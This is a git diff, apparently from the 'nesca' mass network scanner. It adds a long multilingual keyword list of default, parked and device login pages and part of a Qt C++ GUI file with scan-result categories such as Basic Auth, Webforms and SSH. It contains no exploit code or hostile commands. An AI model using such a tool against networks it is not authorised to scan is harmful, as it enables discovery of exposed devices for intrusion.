+actiontec_bottom +adsense +afrekenen +agent web client +ahcom tecnologia +alfresco +app service +apache_pb.gif +airties +aktualizacji +amicaweb +Alan Adı Al +Alan Adı Sat +and supervision tool +annex b +apache http server test +apache software foundation +apache tomcat +apache ha sido instalado +application manager +apteka +arteco ivs spa +at&t +at-img634 +autenticacao de acesso +auto_detect_lang.asp +aviso legal +backgroundimagecache +bad request +baidu +beratung +berneck +btnLive +business invest +best domain names +bitrix +bluedragon +blog +blog/about/ +blog/comments/ +bubba|2 +buffalo inc +buy or sell +buy ticket +cable modem +cafe +call us +calorie +cannot be displayed +cannot find +ccnwebsrvcontroller +church +canopy +casino +cautivo +check_hj.html +check_user_agent +checking javascript support +checking language +checkpoint.com +cheditor +chiliproject +check availability +citrix/xenapp +cliente +clientes +cloud +cmside.htm +company. +comcast business +coming soon +commercial property +configuration manager +configuration file does not +confixx +construcci +consulta +contact info +contact our webmaster +contact support +contact to us +contact us +contact webmaster +contact. +contact_us. +contactanos +contactar +contact-info +contacto +contacts. +contact-us +contactus. +contate +come back later +contato +contatt +control de inventarios +control de solicitudes +controles de acceso +cookiechecker +currently unavailable +cooking +coltd +co.ltd +co.,ltd +#QNAP shit +could be ipv6 addr +cp-gateway +create an account +create new account +credit +currently measuring +currently unreachable +customer +cs3 dreamweaver +FrontPage +TESTPAGE +BB-HGW +OS X Lion +Homepage Builder +dashboard.css +dating +dbox +de iis +design house +de subsidios +de turismo +default page +default parallels plesk panel +default plesk page +default web +defaultwebpage +desserts +default-site +development company +development work +device configuration +default index file +dgc hotspot +dishes +docsis +docsis_system.asp +dominio +domain error +domain has been blocked +domain has been registered +domain name registration +domain registered +domainapps.com +domains for sale +domeny +domeingeregistreerd +down for maint +draytek corp +dreambox webcontrol +drug shop +drupal +Dreamweaver MX +due to maintance +dsnextgen.com +dsparking.com +dvr +dxclient +eap web interface +echolife +ediciones tierrazul +elipgo +emta settings +en construction +enigin plc +enigma web interface +entertainment +equipe ahcom +erro ao resolver +error.asp +empty page +errors.umi-cms.ru +e-trayz +evaluaciones +exchange/ +ezwatch pro +education +fax +fax. +fax: +fax : +fashion +Fireworks MX +fast35xx +facebook +football +for sale +forex +forgot password +free delivery +free to play +freepbx +free-shipping +fritz!box +functioning normally +future home of +gaiyou +glassfish server +globesurfer +gmbh +grupo industrial +guarantee +h.264 +h264 +hc.ru +hectrix ltd +hikvision-webs +hipname +hipoteka +hitron technologies +holding page +holding_page +home gateway +home. +hosting +hostline.ru +help desk +hotspot login +htmlanvview: +icecast2 +ids_web_login +ie-plugin +iis7 +iis8 +images/spacer.jpg +images/ub15.gif +in construction +index.cgi?active +index.php?action=login +info experts +information services 8 +ingrese usuario +inicio +initservicecookie +initwebclient +inloggen +insurance +intelligent digital security system +into the public_html directory +invalid url +iomega +iis windows +ip surveillance +is functioning normally +is under construction +ispmanager control panel +it works +ibm websphere +is now configured +is currently undergoing +jbossweb +join us +joinmember +juniper +jste heslo +kerio connect +keyhole peeks +kablosuz +kloxo control panel +kontakt +kredyt +lacie nas +latest tweets +legal policies +log_off_page.htm +login page +login para acesso +logistics +lvrweb +mail_manager +magnesium +management console +mbanking +meble +microsoft exchange +mijn account +mobile phone was detected +mobile web viewer +mobile_viewer_login +mobile login +Mobile Parking +modem (administrator +mshtml +m&w +munin +my account +my cart +my homepage +myauth +navatom +navigate to public landing page +netdvrv +netsafe utm +netsurveillance +nettalk +netvideo +newocx +nicht aufgeschaltet +no web site +no site on this +nothing to see +nothing here +not authorized to view +not found 404 +nuuo network video recorder +nuuo web +ntt docomo +nvr +no longer available +o nas +obs-helper/menu.jsp +official site +olvido su password +oncell warning +one time payment +one web server +online dating +online pills +online shop +online store +oracle application server +our partners +outlook web +oma domain +on varattu +opening soon +openwebmail +page=contact +page=about +pagerrorimg +pagos +parkerad +Parking. +paradox ip module +parallels confixx +parallels operations automation default +parent.location= +parking.php +partners +paypal +pharmacy +phone system +phpmyadmin +pills +place holder +placeholder +plakaty +platinbox +please login +plesk +poker +polycom '+model +por internet +portada +portal de +postinfo.html +pre-sale +price +prikol +privacy policies +virtual private server +pro-agro apm +produc +produtos +symfony-project +professions +File not found +sonicwall +promo +product_id +presentation page +qnap turbo nas +Qloud Server +read more +redirect server +redmine +reserviert +reg.demos.ru +register now +registrato +register your domain +registrarse +reklam +related searches +relatives +relaxcms.com +remote access controller +remote monitoring system +remote video surveillance +reserved domain +residential gateway login +restaurant +redevelopment +rpauth.html +rpsys.html +ruby on rails +ru-center +rss buddy +roundcube +s.r.l. +sakura internet +sabnzbd +sale only +samsung digital +sapphire journal +sbuilder.ru +scam_2nd.sis +search... +search.html +searchnut.com +searchpage.aspx +searchremagnified +secure login page +securepaynet +sedoparking.com +selectkind.html +seller +server application error +server default page +service client +servicio +shared ip +shop. +shop online +shop_id= +shopcart +shopping cart +sign in now +silverlight +sistema fenix +sistemas +site offline +site_manager +site just created +sitemap +site or Page Not Found +site is not +site_map +saitmap +stay tuned +sitio no encontrado +software is running +skidki +skip intro +small business +smart switch login +smartermail +snom +sign up +sonicwall - authentication +spa configuration +speed test +speedtouch +sport +skype: +src/login.php +ssl-vpn/login.esp +standalone dvr +statcounter +status.stm +strona w przygotowaniu +subsonic +sugarcrm +sun java system +workplace +workspace +Under Constraction +Mobile NAS Router +sunny webbox +supporto +strona w konstrukcji +surgeblog +Apache Error +suspended domain +suspendedpage +switch administrator +sww link +synology +taobao +TopPageFinder.com +teamportal +teamviewer +technical support +teles.igate +tellion +tell +tell. +TEL( +fax( +no server available +tell: +tell : +tel/ +fax/ +tel +tel. +tel : +tel: +tel? +tel ? +fax? +fax ? +termos de uso +TP-LINK Wireless +RT-N +RT-G +dir320 +Access denied for user +underconstr +test page +This IP has been banned +the best place +the best search +the leading +the page is not +the web server is running +this object has moved +this website is not configured +thomson gateway +to log in +tomza +touchstone status +townet 108-30-su +tralix +transfervolumen +trixbox +try again later +tutorial +twitter +Tlf. +Web Client Pro +mailto: +WJND300 +Home Page +temporar in mentenanta +under maintanence +under-construction +under construct +under development +under konstruktion +under maintenance +unimep station controller +unsub pag +upnp devices +url could not be retrieved +unohditko salasanan +value domain +verizon +verwaltungskonsole +viagra +visualsvn +voice-over-ip +voip gateway +voip web +velkommen +vood +visit us +varaa itsellesi +w@de +wade +web applications +web client for edvs +web console +web device manager +web frontend +web hosting +web remote access +web remote client +web server setup guide +web site creator +webage unavailable +website does not exist +web-based configurator +webcamx +webclient.js +webconfig +webcontrol +webguard login +webrom +website is currently +webui administration +webview +webmail +welcome to +welcome.do +web development +wimax +window.location = "/ui" +windows home server +windows server +windows small business server +winkelwagen +wordpress +wowza +www.microsoft.com +www.ibm.com +www.lacie.com +www.sedo.com +xenserver +xfinity +xtreamer +yahoo +you are not logged in +your explorer is no support frame +your website +yweb +wkrotce +азартные игры +аккорды +анекдот +аптек +архив новостей +в стадии разработки +в разработке +права защищены +дача +даче +дешевы +дешёвы +домен продается +домены на продажу +доставка +заказать доставку +заработок в сети +знакомства +истек срок регистрации +карикатуры +код регистрации +конкурс +контакты +купить +кухни +лавная страница +личный кабинет +лотере +международные +мода +мы перее +мы предоставляем +на реконструкции +найти работу +находится в разработке +наш баннер +наша компания +низкие цены +новый адрес +о компании +о нас +остев +партнерк +перевод текстов +переехал +переехал на +персональный сайт +пиши мне +пиши нам +пишите мне +пишите нам +подержанные +подписаться +поиск работы +приколы +продукция +производство +процесі розробки +работа в интернете +регистрации доменных имен +рекламные ссылки +ремонт +сайт в разработке +сайт недоступен +сайт клана +скоро запустится +сайт на разработке +связь с нами +скидк +скоро открытие +служба поддержки +создание недорогих сайтов +создание сайтов +спонсоры +стартовая страни +стихи +тестовая страница +технические работы +услуги +флешки +флэшки +футбол +юмор \ No newline at end of file diff --git a/nesca_3.cpp b/nesca_3.cpp new file mode 100755 index 0000000..c6de242 --- /dev/null +++ b/nesca_3.cpp @@ -0,0 +1,3911 @@ +#pragma region Decls +#pragma once +#include +#include +#include "nesca_3.h" +#include "CheckKey_Th.h" +#include "DrawerTh_QoSScanner.h" +#include "oIRC_Th.h" +#include "IRCPinger_Th.h" +#include "CheckProxy_Th.h" +#include "STh.h" +#include "msgcheckerthread.h" +#include "vercheckerthread.h" +#include "DrawerTh_HorNet.h" +#include "ActivityDrawerTh_HorNet.h" +#include "DrawerTh_GridQoSScanner.h" +#include "DrawerTh_ME2Scanner.h" +#include "DrawerTh_VoiceScanner.h" +#include "piestat.h" +#include "resource.h" +#include +#include +#include +#include +#include +#include +#include +#include +#include "progressbardrawer.h" + +QDate date = QDate::currentDate(); +int ver = 100*(100*(date.year()%100) + date.month()) + date.day(); +#define VER 130706 +#define WIDGET_WIDTH 500 +//#define IRC_CHAN "iskopasi_lab01" + +bool utfIRCFlag = true; +bool HTMLDebugMode = false; +bool code160 = false; +bool gDebugMode = false; +bool gNegDebugMode = false; +bool smBit_1 = false; +bool smBit_2 = false; +bool smBit_3 = false; +bool smBit_4 = false; +bool smBit_5 = false; +bool smBit_6 = false; +bool smBit_7 = false; +bool smBit_8 = false; +bool debugFileOK = false; +bool privateMsgFlag = false; + +static char *argv[] = {0}; +static int argc = 0; +char inputStr[256] = {0}; +bool proxyEnabledFlag = false; +bool disableBlink = false; +char gVER[16] = {0}; +int nickFlag; +int offlineFlag; +bool OnlineMsgSentFlag = false; +int globalPinger = 0; + +bool dFlag = false; +bool startFlag = false; +bool trackerOK = true; +char ircServer[32] = {0}; +char ircPort[32] = {0}; +char ircProxy[64] = {0}; +char ircProxyPort[8] = {0}; +char ircNick[32] = {0}; +char trcPort[32] = {0}; +char trcSrvPortLine[32] = {0}; +char trcProxy[128] = {0}; +char trcSrv[256] = {0}; +char trcScr[256] = {0}; +char trcPersKey[32] = {0}; + +SOCKET lSock; + +VerCheckerThread *vct = new VerCheckerThread(); +MSGCheckerThread *mct = new MSGCheckerThread(); +STh *stt = new STh(); +DrawerTh_HorNet *dtHN = new DrawerTh_HorNet(); +DrawerTh_ME2Scanner *dtME2 = new DrawerTh_ME2Scanner(); +DrawerTh_QoSScanner *dtQoS = new DrawerTh_QoSScanner(); +DrawerTh_GridQoSScanner *dtGridQoS = new DrawerTh_GridQoSScanner(); +CheckProxy_Th *chPTh = new CheckProxy_Th(); +IRCPinger_Th *ircPTh = new IRCPinger_Th(); +oIRC_Th *ircTh = new oIRC_Th(); +CheckKey_Th *chKTh = new CheckKey_Th(); +ActivityDrawerTh_HorNet *adtHN = new ActivityDrawerTh_HorNet(); +DrawerTh_VoiceScanner *vsTh = new DrawerTh_VoiceScanner(); +IRC_NMBlinker *irc_nmb = new IRC_NMBlinker(); +PieStat *psTh = new PieStat(); +ProgressbarDrawer *pbTh = new ProgressbarDrawer(); + +bool MapWidgetOpened = false; +bool connectedToIRC = false; +bool globalScanFlag; +float QoSStep = 1; +int MaxDataVal = 1; +int tMax = 0; +QGraphicsScene *sceneGrid; +QGraphicsScene *sceneGrid2; +QGraphicsScene *sceneGraph; +QGraphicsScene *sceneUpper; +QGraphicsScene *sceneActivity; +QGraphicsScene *sceneActivityGrid; +QGraphicsScene *sceneTextPlacer; +QGraphicsScene *sceneVoice; +QGraphicsScene *pbScene; + +QString importFileName = ""; + +QSystemTrayIcon *tray; + QTextCodec *codec = QTextCodec::codecForName("Windows-1251"); + +QWidget *qwm; +QString globalIRCText; +QString globalIRCRaw; +PopupMsgWidget *msgWdgt; + +QPen rpen(QColor(255, 0, 0, 190), 0.1, Qt::DotLine); +QPen pen(QColor(130, 130, 130), 0.1, Qt::DotLine); +QPen pen2(QColor(130, 130, 130), 0.5); +QPen penQoS0(QColor(255, 255, 255), 0.8); +QPen penQoS1(QColor(255, 0, 0), 0.9); +QPen penQoS2(QColor(0, 255, 0), 0.8); +QPen penQoS3(QColor(255, 85, 0), 0.8); //orange +QPen penQoS4(QColor(255, 0, 255), 0.8); //violet +QPen penQoS5(QColor(0, 0, 255), 0.8); +QPen penQoS6(QColor(82,180,229), 0.8); //sky-blue +QPen penQoS7(QColor(85,0,0), 0.8); //dRed +QPen penQoSWhite(QColor(255,255,255), 0.2); +QPen penQoSBlack(QColor(0,0,0), 0.3); +QPen penBlack(QColor(0,0,0)); +QPen pen2i; + +QVector vectOld; +QList lstOfLabels; +QVector actLst; +QVector vAlivLst; +QVector vAnomLst; +QVector vWFLst; +QVector vSuspLst; +QVector vLowlLst; +QVector vBALst; +QVector vSSHLst; +QVector vOvrlLst; +QVector vect; + +QMenu *menuPS; + +QVector NodeDots; +QVector NodeAddrs; + +int u = 1; + +const nesca_3 *gthis; +bool BALogSwitched = false; +bool widgetIsHidden = false; +bool blinkFlag = false; +bool printDelimiter = false; +bool destroychPThFlag = false; +bool IRCLogToggled = true; +int PhraseIndex = 0; +QList PhraseLog; +bool ME2ScanFlag = true, QoSScanFlag = false, VoiceScanFlag = false, PieStatFlag = false; + +Ui::nesca_3Class *ui = new Ui::nesca_3Class; + +#pragma endregion +void setSceneArea() +{ + delete ui->graphicsVoice; + ui->graphicsVoice = new PieStatView(ui->widget); + ui->graphicsVoice->setObjectName(QStringLiteral("graphicsVoice")); + ui->graphicsVoice->setGeometry(QRect(220, 265, 270, 100)); + ui->graphicsVoice->setStyleSheet(QStringLiteral("border:1px solid white;background-color: rgba(26, 26,26, 0);")); + ui->graphicsVoice->setVerticalScrollBarPolicy(Qt::ScrollBarAlwaysOff); + ui->graphicsVoice->setHorizontalScrollBarPolicy(Qt::ScrollBarAlwaysOff); + ui->graphicsVoice->setRenderHints(QPainter::TextAntialiasing); + ui->graphicsVoice->setCacheMode(QGraphicsView::CacheNone); + + ui->graphicsVoice->raise(); + + sceneGrid = new QGraphicsScene(); + sceneGrid2 = new QGraphicsScene(); + sceneGraph = new QGraphicsScene(); + sceneUpper = new QGraphicsScene(); + sceneActivity = new QGraphicsScene(); + sceneActivityGrid = new QGraphicsScene(); + sceneTextPlacer = new QGraphicsScene(); + sceneVoice = new QGraphicsScene(); + pbScene = new QGraphicsScene(); + + ui->graphicLog->setScene(sceneGrid); + ui->graphicLog_2->setScene(sceneGraph); + ui->graphicDelim->setScene(sceneGrid2); + ui->graphicLog_Upper->setScene(sceneUpper); + ui->graphicActivity->setScene(sceneActivity); + ui->graphicActivityGrid->setScene(sceneActivityGrid); + ui->graphicTextPlacer->setScene(sceneTextPlacer); + ui->graphicsVoice->setScene(sceneVoice); + ui->pbgv->setScene(pbScene); + + ui->graphicLog->setSceneRect(0, 0, ui->graphicLog->width(), ui->graphicLog->height()); + ui->graphicLog_2->setSceneRect(0, 0, ui->graphicLog_2->width(), ui->graphicLog_2->height()); + ui->graphicDelim->setSceneRect(0, 0, ui->graphicDelim->width(), ui->graphicDelim->height()); + ui->graphicLog_Upper->setSceneRect(0, 0, ui->graphicLog_Upper->width(), ui->graphicLog_Upper->height()); + ui->graphicActivity->setSceneRect(0, 0, ui->graphicActivity->width(), ui->graphicActivity->height()); + ui->graphicActivityGrid->setSceneRect(0, 0, ui->graphicActivityGrid->width(), ui->graphicActivityGrid->height()); + ui->graphicTextPlacer->setSceneRect(0, 0, ui->graphicTextPlacer->width(), ui->graphicTextPlacer->height()); + ui->graphicsVoice->setSceneRect(0, 0, ui->graphicsVoice->width(), ui->graphicsVoice->height()); + ui->pbgv->setSceneRect(0, 0, ui->pbgv->width(), ui->pbgv->height()); +}; + +void setButtonStyleArea() +{ + ui->checkKeyBut->setStyleSheet( + " #checkKeyBut {" + "background-color: qlineargradient(spread:none, x1:1, y1:0, x2:1, y2:1, stop:0.681818 rgba(0, 0, 0, 250), stop:1 rgba(255, 255, 255, 130));" + "color: #00b304;" + "border: 0.5px solid qlineargradient(spread:reflect, x1:0.54, y1:0.488591, x2:0.54, y2:0, stop:0 rgba(255, 255, 255, 130), stop:1 rgba(0, 0, 0, 255));" + "}" + + " #checkKeyBut:hover{" + "background-color: qlineargradient(spread:none, x1:1, y1:0, x2:1, y2:1, stop:0.681818 rgba(0, 0, 0, 250), stop:1 rgba(255, 255, 255, 130));" + "color: #1efd00;" + "border: 0.5px solid qlineargradient(spread:reflect, x1:0.54, y1:0.488591, x2:0.54, y2:0, stop:0 rgba(255, 255, 255, 130), stop:1 rgba(0, 0, 0, 255));" + "}" + ); + + ui->IRCConnectBut->setStyleSheet( + " #IRCConnectBut {" + "background-color: qlineargradient(spread:none, x1:1, y1:0, x2:1, y2:1, stop:0.681818 rgba(0, 0, 0, 250), stop:1 rgba(255, 255, 255, 130));" + "color: #919191;" + "border: 0.5px solid qlineargradient(spread:reflect, x1:0.54, y1:0.488591, x2:0.54, y2:0, stop:0 rgba(255, 255, 255, 130), stop:1 rgba(0, 0, 0, 255));" + "}" + + " #IRCConnectBut:hover{" + "background-color: qlineargradient(spread:none, x1:1, y1:0, x2:1, y2:1, stop:0.681818 rgba(0, 0, 0, 250), stop:1 rgba(255, 255, 255, 130));" + "color: #D1D1D1;" + "border: 0.5px solid qlineargradient(spread:reflect, x1:0.54, y1:0.488591, x2:0.54, y2:0, stop:0 rgba(255, 255, 255, 130), stop:1 rgba(0, 0, 0, 255));" + "}" + ); + + ui->IRCCheckProxyBut->setStyleSheet( + " #IRCCheckProxyBut {" + "background-color: qlineargradient(spread:none, x1:1, y1:0, x2:1, y2:1, stop:0.681818 rgba(0, 0, 0, 250), stop:1 rgba(255, 255, 255, 130));" + "color: #bfb800;" + "border: 0.5px solid qlineargradient(spread:reflect, x1:0.54, y1:0.488591, x2:0.54, y2:0, stop:0 rgba(255, 255, 255, 130), stop:1 rgba(0, 0, 0, 255));" + "}" + + " #IRCCheckProxyBut:hover{" + "background-color: qlineargradient(spread:none, x1:1, y1:0, x2:1, y2:1, stop:0.681818 rgba(0, 0, 0, 250), stop:1 rgba(255, 255, 255, 130));" + "color: #e9e100;" + "border: 0.5px solid qlineargradient(spread:reflect, x1:0.54, y1:0.488591, x2:0.54, y2:0, stop:0 rgba(255, 255, 255, 130), stop:1 rgba(0, 0, 0, 255));" + "}" + ); + ui->importButton->setStyleSheet( + " #importButton {" + "background-color: qlineargradient(spread:none, x1:1, y1:0, x2:1, y2:1, stop:0.681818 rgba(0, 0, 0, 250), stop:1 rgba(255, 255, 255, 130));" + "color: #00b304;" + "border: 0.5px solid qlineargradient(spread:reflect, x1:0.54, y1:0.488591, x2:0.54, y2:0, stop:0 rgba(255, 255, 255, 130), stop:1 rgba(0, 0, 0, 255));" + "}" + + " #importButton:hover{" + "background-color: qlineargradient(spread:none, x1:1, y1:0, x2:1, y2:1, stop:0.681818 rgba(0, 0, 0, 250), stop:1 rgba(255, 255, 255, 130));" + "color: #1efd00;" + "border: 0.5px solid qlineargradient(spread:reflect, x1:0.54, y1:0.488591, x2:0.54, y2:0, stop:0 rgba(255, 255, 255, 130), stop:1 rgba(0, 0, 0, 255));" + "}" + ); + ui->startScanButton_3->setStyleSheet( + " #startScanButton_3 {" + "background-color: qlineargradient(spread:none, x1:1, y1:0, x2:1, y2:1, stop:0.681818 rgba(0, 0, 0, 250), stop:1 rgba(255, 255, 255, 130));" + "color: #919191;" + "border: 0.5px solid qlineargradient(spread:reflect, x1:0.54, y1:0.488591, x2:0.54, y2:0, stop:0 rgba(255, 255, 255, 130), stop:1 rgba(0, 0, 0, 255));" + "}" + + " #startScanButton_3:hover{" + "background-color: qlineargradient(spread:none, x1:1, y1:0, x2:1, y2:1, stop:0.681818 rgba(0, 0, 0, 250), stop:1 rgba(255, 255, 255, 130));" + "color: #D1D1D1;" + "border: 0.5px solid qlineargradient(spread:reflect, x1:0.54, y1:0.488591, x2:0.54, y2:0, stop:0 rgba(255, 255, 255, 130), stop:1 rgba(0, 0, 0, 255));" + "}" + ); + + ui->startScanButton_4->setStyleSheet( + " #startScanButton_4 {" + "background-color: qlineargradient(spread:none, x1:1, y1:0, x2:1, y2:1, stop:0.681818 rgba(0, 0, 0, 250), stop:1 rgba(255, 255, 255, 130));" + "color: #919191;" + "border: 0.5px solid qlineargradient(spread:reflect, x1:0.54, y1:0.488591, x2:0.54, y2:0, stop:0 rgba(255, 255, 255, 130), stop:1 rgba(0, 0, 0, 255));" + "}" + + " #startScanButton_4:hover{" + "background-color: qlineargradient(spread:none, x1:1, y1:0, x2:1, y2:1, stop:0.681818 rgba(0, 0, 0, 250), stop:1 rgba(255, 255, 255, 130));" + "color: #D1D1D1;" + "border: 0.5px solid qlineargradient(spread:reflect, x1:0.54, y1:0.488591, x2:0.54, y2:0, stop:0 rgba(255, 255, 255, 130), stop:1 rgba(0, 0, 0, 255));" + "}" + ); +}; +void setSomeStyleArea() +{qApp->setStyleSheet( + + "QMenu{" + "color:rgb(216, 216, 216);background-color: rgb(26, 26, 26); border: 1px solid white;" + "}" + + ".a{" + "color:rgb(216, 216, 216);background-color: rgb(26, 26, 26); border: 1px solid white;" + "}" + + "QMenu::item {" + "padding: 2px 25px 2px 25px;" + "border: 1px solid transparent;" + "}" + + "QMenu::item:disabled {" + "color:rgb(35, 35, 35);background-color: rgb(26, 26, 26); border: 1px solid white;" + "padding: 2px 25px 2px 25px;" + "border: 1px solid transparent;" + "}" + + "QMenu::item:selected:enabled {" + "color:rgb(255, 255, 255);background-color: rgb(26, 26, 26); border: 1px solid white;" + "border-color: rgb(250, 170, 60);" + "background: rgba(250, 170, 60, 50);" + "}" + + "QMenu::item:selected:disabled {" + "color:rgb(35, 35, 35);background-color: rgb(26, 26, 26); border: 1px solid white;" + "border-color: rgb(250, 170, 60);" + "background: rgba(250, 170, 60, 50);" + "}" + + "QMenu::separator {" + "height: 2px;" + "margin-left: 25px;" + "}" + + "QMenu::indicator {" + "width: 13px;" + "height: 13px;" + "}" + + " #widget {" + "border: 1px solid #525252;" + "border-radius: 0px;" + "}" + + " #widgetIRC {" + "border: 1px solid #525252;" + "border-radius: 0px;" + "}" + + " #exitButton {" + "color: #525252;" + "border: 0px solid black;" + "}" + + " #exitButton:hover {" + "color: red;" + "border: 0px solid black;" + "}" + + " #exitButton:pressed {" + "color: maroon;" + "border: 0px solid black;" + "}" + + " #trayButton {" + "color: #525252;" + "border: 0px solid black;" + "}" + + " #trayButton:hover {" + "color: red;" + "border: 0px solid black;" + "}" + + " #trayButton:pressed {" + "color: maroon;" + "border: 0px solid black;" + "}" + + " #exitButton_2 {" + "color: #525252;" + "border: 0px solid black;" + "}" + + " #exitButton_2:hover {" + "color: red;" + "border: 0px solid black;" + "}" + + " #exitButton_2:pressed {" + "color: maroon;" + "border: 0px solid black;" + "}" + + " QLineEdit {" + "border: 1px solid #525252 !important;" + "border-radius: 0px !important;" + "padding: 0 8px !important;" + "background: yellow !important;" + "selection-background-color: darkgray !important;" + "}" + + "QTabBar::tab {" + "color: white;" + "border: 1px solid #C4C4C3;" + "border-bottom-color: #C2C7CB;" + "border-top-left-radius: 4px;" + "border-top-right-radius: 4px;" + "padding: 1px 3px;" + "margin-left: 1px;" + "margin-bottom: 4px;" + "}" + + "QTabBar::tab:selected {" + "color: black;" + "background-color: #505050;" + "}" + + "QCheckBox::indicator:unchecked" + "{" + "background-color:black;" + "border: 1px solid #313131;" + "}" + + "QCheckBox::indicator:checked" + "{" + "background-color: qradialgradient(spread:pad, cx:0.5, cy:0.5, radius:0.5, fx:0.5, fy:0.500318, stop:0.107955 rgba(255, 255, 255, 255), stop:0.204545 rgba(255, 255, 255, 0));" + "border: 1px solid #313131;" + "}" + ); + setButtonStyleArea(); +}; +void SetValidators() +{ + QRegExpValidator *validator = new QRegExpValidator( + QRegExp("([\\d*|.|//|-])+"), + NULL + ); + ui->ipLine->setValidator(validator); + + validator = new QRegExpValidator(QRegExp("(\\d{1,5}[,|-]\\s{0,1})+"), NULL); + ui->portLine->setValidator(validator); + ui->lineEditPort->setValidator(validator); + + validator = new QRegExpValidator(QRegExp("\\d{1,3}"), NULL); + ui->importThreads->setValidator(validator); + ui->threadLine->setValidator(validator); + ui->lineEditThread->setValidator(validator); + ui->iptoLine_value->setValidator(validator); + ui->iptoLine_value_2->setValidator(validator); + ui->iptoLine_value_3->setValidator(validator); + + validator = new QRegExpValidator(QRegExp("(\\w|-|\\.|\\$)+"), NULL); + ui->lineEditStartIPDNS->setValidator(validator); + + validator = new QRegExpValidator(QRegExp("(\\w|-|\\.)+((\\w|-|\\.)+)+"), NULL); + ui->lineILVL->setValidator(validator); + + validator = new QRegExpValidator(QRegExp("\\d{1,5}"), NULL); + ui->serverPortBox->setValidator(validator); + ui->ircProxyPort->setValidator(validator); + ui->trcSrvPortLine->setValidator(validator); + + validator = new QRegExpValidator(QRegExp("[a-zA-Z0-9]{32}"), NULL); + ui->linePersKey->setValidator(validator); +}; + +void nesca_3::slotDrawTextPlacers() +{ + QFont fnt; + fnt.setFamily("Eurostile"); + if(ME2ScanFlag) + { + delete []sceneTextPlacer; + sceneTextPlacer = NULL; + sceneTextPlacer = new QGraphicsScene(); + ui->graphicTextPlacer->setScene(sceneTextPlacer); + + sceneTextPlacer->clear(); + QPen penPT(QColor(255, 255, 255), 0.5, Qt::SolidLine, Qt::SquareCap, Qt::RoundJoin); + + ui->RedLabel->setVisible(false); + ui->GreenLabel->setVisible(false); + ui->CyanLabel->setVisible(false); + ui->BlueLabel->setVisible(false); + ui->PinkLabel->setVisible(false); + ui->YellowLabel->setVisible(false); + ui->WhiteLabel->setVisible(false); + ui->DredLabel->setVisible(false); + + ui->labelAnomaly->setVisible(false); + ui->labelBA->setVisible(false); + ui->labelFiltered->setVisible(false); + ui->labelBads->setVisible(false); + ui->labelLowloads->setVisible(false); + ui->labelOverloads->setVisible(false); + ui->labelAlives->setVisible(false); + ui->labelSSH->setVisible(false); + + fnt.setPixelSize(10); + + sceneTextPlacer->addLine(85, 110, 90, 100, penPT); + sceneTextPlacer->addLine(23, 110, 83, 110, penPT); + + QGraphicsTextItem *item = sceneTextPlacer->addText("- Anomalies", fnt); + item->setX(25); + item->setY(94); + item->setDefaultTextColor(QColor(255, 255, 255, 180)); + + sceneTextPlacer->addLine(118, 120, 130, 100, penPT); + sceneTextPlacer->addLine(23, 121, 117, 121, penPT); + item = sceneTextPlacer->addText("- Webforms", fnt); + item->setX(25); + item->setY(105); + item->setDefaultTextColor(QColor(255, 255, 255, 180)); + + sceneTextPlacer->addLine(155, 130, 170, 100, penPT); + sceneTextPlacer->addLine(23, 131, 154, 131, penPT); + item = sceneTextPlacer->addText("- Basic Auth", fnt); + item->setX(25); + item->setY(115); + item->setDefaultTextColor(QColor(255, 255, 255, 180)); + + sceneTextPlacer->addLine(190, 140, 210, 100, penPT); + sceneTextPlacer->addLine(23, 141, 189, 141, penPT); + item = sceneTextPlacer->addText("- Suspicious", fnt); + item->setX(25); + item->setY(125); + item->setDefaultTextColor(QColor(255, 255, 255, 180)); + + sceneTextPlacer->addLine(230, 150, 250, 100, penPT); + sceneTextPlacer->addLine(23, 151, 229, 151, penPT); + item = sceneTextPlacer->addText("- Overloads", fnt); + item->setX(25); + item->setY(135); + item->setDefaultTextColor(QColor(255, 255, 255, 180)); + + sceneTextPlacer->addLine(270, 160, 290, 100, penPT); + sceneTextPlacer->addLine(23, 161, 269, 161, penPT); + item = sceneTextPlacer->addText("- Lowloads", fnt); + item->setX(25); + item->setY(145); + item->setDefaultTextColor(QColor(255, 255, 255, 180)); + + sceneTextPlacer->addLine(310, 170, 330, 100, penPT); + sceneTextPlacer->addLine(23, 171, 309, 171, penPT); + item = sceneTextPlacer->addText("- Alive", fnt); + item->setX(25); + item->setY(155); + item->setDefaultTextColor(QColor(255, 255, 255, 180)); + } + else if(VoiceScanFlag) + { + sceneTextPlacer->clear(); + QPen penPT(QColor(255, 255, 255), 0.5, Qt::SolidLine, Qt::SquareCap, Qt::RoundJoin); + + fnt.setPixelSize(8); + + int h = ui->graphicLog->height(); + + delete []sceneTextPlacer; + sceneTextPlacer = NULL; + sceneTextPlacer = new QGraphicsScene(); + ui->graphicTextPlacer->setScene(sceneTextPlacer); + + for(int i = 0; i < h; i += 10) + { + QGraphicsTextItem *item = sceneTextPlacer->addText(QString::number(i/10 + 1) + "-", fnt); + if(i != 90) item->setX(46); + else item->setX(42); + item->setY(h - i - 11); + item->setDefaultTextColor(QColor(255, 255, 255, 180)); + }; + }; +}; +void nesca_3::slotDrawDelimLines() +{ + int gHeight = ui->graphicLog->height(); + QPen penDelim(QColor(255, 0, 0), 0.5); + QPen penDelim2(QColor(255, 0, 0, 60), 1); + + QLinearGradient gradient(0, 0, 0, 100); + gradient.setColorAt(0, QColor(255,0,0, 60)); + gradient.setColorAt(0.5, QColor(255,0,0, 40)); + gradient.setColorAt(1, QColor(255,0,0, 0)); + penDelim2.setBrush(gradient); + + sceneGrid2->addLine(33, gHeight, 33, gHeight - 3, penDelim); + sceneGrid2->addLine(73, gHeight, 73, gHeight - 3, penDelim); + sceneGrid2->addLine(113, gHeight, 113, gHeight - 3, penDelim); + sceneGrid2->addLine(153, gHeight, 153, gHeight - 3, penDelim); + sceneGrid2->addLine(193, gHeight, 193, gHeight - 3, penDelim); + sceneGrid2->addLine(233, gHeight, 233, gHeight - 3, penDelim); + + sceneGrid2->addRect(1, 0, 31, gHeight - 3, penDelim2); + sceneGrid2->addRect(34, 0, 38, gHeight - 3, penDelim2); + sceneGrid2->addRect(74, 0, 38, gHeight - 3, penDelim2); + sceneGrid2->addRect(114, 0, 38, gHeight - 3, penDelim2); + sceneGrid2->addRect(154, 0, 38, gHeight - 3, penDelim2); + sceneGrid2->addRect(194, 0, 38, gHeight - 3, penDelim2); + sceneGrid2->addRect(234, 0, 35, gHeight - 3, penDelim2); +}; +QList gLOL0; +QList gLOL1; +QList gLOL2; +QList gLOL3; +QList gLOL4; +QList gLOL5; +QList gLOL6; +QList gLOL7; +bool QOSWait = false; +void nesca_3::slotQoSAddLine() +{ + QOSWait = true; + sceneGraph->clear(); 